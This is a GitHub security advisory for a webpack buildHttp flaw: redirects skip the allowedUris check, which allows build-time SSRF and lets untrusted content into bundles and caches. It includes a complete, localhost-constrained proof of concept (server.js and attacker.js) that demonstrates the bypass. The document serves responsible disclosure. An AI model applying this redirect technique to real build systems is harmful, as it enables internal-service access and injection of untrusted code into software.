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webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence

Low severity GitHub Reviewed Published Feb 5, 2026 in webpack/webpack • Updated Feb 6, 2026

Package

npm webpack (npm)

Affected versions

>= 5.49.0, < 5.104.0

Patched versions

5.104.0

Description

Summary

When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.

Details

In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.

Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.

Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.

image

PoC

This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup

mkdir split-ssrf-poc && cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli

2) Create server.js

#!/usr/bin/env node
"use strict";

const http = require("http");
const url = require("url");

const allowedPort = 9000;
const internalPort = 9100;

const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`;
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
  `export const secret = ${JSON.stringify(secret)};\n` +
  `export default "ok";\n`;

function start(port, handler) {
  return new Promise(resolve => {
    const s = http.createServer(handler);
    s.listen(port, "127.0.0.1", () => resolve(s));
  });
}

(async () => {
  // Internal-only service (SSRF target)
  await start(internalPort, (req, res) => {
    if (req.url === "/secret.js") {
      res.statusCode = 200;
      res.setHeader("Content-Type", "application/javascript; charset=utf-8");
      res.end(internalPayload);
      console.log(`[internal] 200 /secret.js served (secret=${secret})`);
      return;
    }
    res.statusCode = 404;
    res.end("not found");
  });

  // Allowed host (redirector)
  await start(allowedPort, (req, res) => {
    const parsed = url.parse(req.url, true);

    if (parsed.pathname === "/redirect.js") {
      const to = parsed.query.to || internalUrlDefault;

      // Safety guard: only allow redirecting to localhost internal service in this PoC
      if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) {
        res.statusCode = 400;
        res.end("to must be internal-only in this PoC");
        console.log(`[allowed] blocked redirect to: ${to}`);
        return;
      }

      res.statusCode = 302;
      res.setHeader("Location", to);
      res.end("redirecting");
      console.log(`[allowed] 302 /redirect.js -> ${to}`);
      return;
    }

    res.statusCode = 404;
    res.end("not found");
  });

  console.log(`\nServer running:`);
  console.log(`- allowed host:  http://127.0.0.1:${allowedPort}/redirect.js`);
  console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);
})();

3) Create attacker.js

#!/usr/bin/env node
"use strict";

const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");
const webpackPkg = require("webpack/package.json");

const allowedPort = 9000;
const internalPort = 9100;

const allowedBase = `http://127.0.0.1:${allowedPort}/`;
const internalTarget = `http://127.0.0.1:${internalPort}/secret.js`;
const entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;

async function walk(dir) {
  const out = [];
  const items = await fs.readdir(dir, { withFileTypes: true });
  for (const it of items) {
    const p = path.join(dir, it.name);
    if (it.isDirectory()) out.push(...await walk(p));
    else if (it.isFile()) out.push(p);
  }
  return out;
}

async function fileContains(f, needle) {
  try {
    const buf = await fs.readFile(f);
    return buf.toString("utf8").includes(needle) || buf.toString("latin1").includes(needle);
  } catch {
    return false;
  }
}

async function findInFiles(files, needle) {
  const hits = [];
  for (const f of files) if (await fileContains(f, needle)) hits.push(f);
  return hits;
}

const fmtBool = b => (b ? "✅" : "❌");

(async () => {
  const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-attacker-"));
  const srcDir = path.join(tmp, "src");
  const distDir = path.join(tmp, "dist");
  const cacheDir = path.join(tmp, ".buildHttp-cache");
  const lockfile = path.join(tmp, "webpack.lock");
  const bundlePath = path.join(distDir, "bundle.js");

  await fs.mkdir(srcDir, { recursive: true });
  await fs.mkdir(distDir, { recursive: true });

  await fs.writeFile(
    path.join(srcDir, "index.js"),
    `import { secret } from ${JSON.stringify(entryUrl)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
  );

  const config = {
    context: tmp,
    mode: "development",
    entry: "./src/index.js",
    output: { path: distDir, filename: "bundle.js" },
    experiments: {
      buildHttp: {
        allowedUris: [allowedBase],
        cacheLocation: cacheDir,
        lockfileLocation: lockfile,
        upgrade: true
      }
    }
  };

  const compiler = webpack(config);

  compiler.run(async (err, stats) => {
    try {
      if (err) throw err;

      const info = stats.toJson({ all: false, errors: true, warnings: true });
      if (stats.hasErrors()) {
        console.error(info.errors);
        process.exitCode = 1;
        return;
      }

      const bundle = await fs.readFile(bundlePath, "utf8");
      const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
      const secret = m ? m[0] : null;

      console.log("\n[ATTACKER RESULT]");
      console.log(`- webpack version: ${webpackPkg.version}`);
      console.log(`- node version: ${process.version}`);
      console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);
      console.log(`- imported URL (allowed only): ${entryUrl}`);
      console.log(`- temp dir: ${tmp}`);
      console.log(`- lockfile: ${lockfile}`);
      console.log(`- cacheDir: ${cacheDir}`);
      console.log(`- bundle:   ${bundlePath}`);

      if (!secret) {
        console.log("\n[SECURITY SUMMARY]");
        console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);
        return;
      }

      const lockHit = await fileContains(lockfile, secret);

      let cacheFiles = [];
      try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; }
      const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false;

      const allTmpFiles = await walk(tmp);
      const allHits = await findInFiles(allTmpFiles, secret);

      console.log(`\n- extracted secret marker from bundle: ${secret}`);

      console.log("\n[SECURITY SUMMARY]");
      console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);
      console.log(`- Internal target (SSRF-like): ${internalTarget}`);
      console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);
      console.log(`- ACTUAL: internal content treated as module and bundled`);

      console.log("\n[EVIDENCE CHECKLIST]");
      console.log(`- bundle contains secret:   ${fmtBool(true)}`);
      console.log(`- cache contains secret:    ${fmtBool(cacheHit)}`);
      console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);

      console.log("\n[PERSISTENCE CHECK] files containing secret");
      for (const f of allHits.slice(0, 30)) console.log(`- ${f}`);
      if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`);
    } catch (e) {
      console.error(e);
      process.exitCode = 1;
    } finally {
      compiler.close(() => {});
    }
  });
})();

4) Run

Terminal A:

node server.js

Terminal B:

node attacker.js

5) Expected

Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).

Impact

Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).

Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:

trigger network requests from the build machine to internal-only services (SSRF behavior),

cause content from outside the allow-list to be bundled into build outputs,

and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.

References

@bjohansebas bjohansebas published to webpack/webpack Feb 5, 2026
Published to the GitHub Advisory Database Feb 5, 2026
Reviewed Feb 5, 2026
Published by the National Vulnerability Database Feb 5, 2026
Last updated Feb 6, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(1st percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2025-68157

GHSA ID

GHSA-38r7-794h-5758

Source code

Credits

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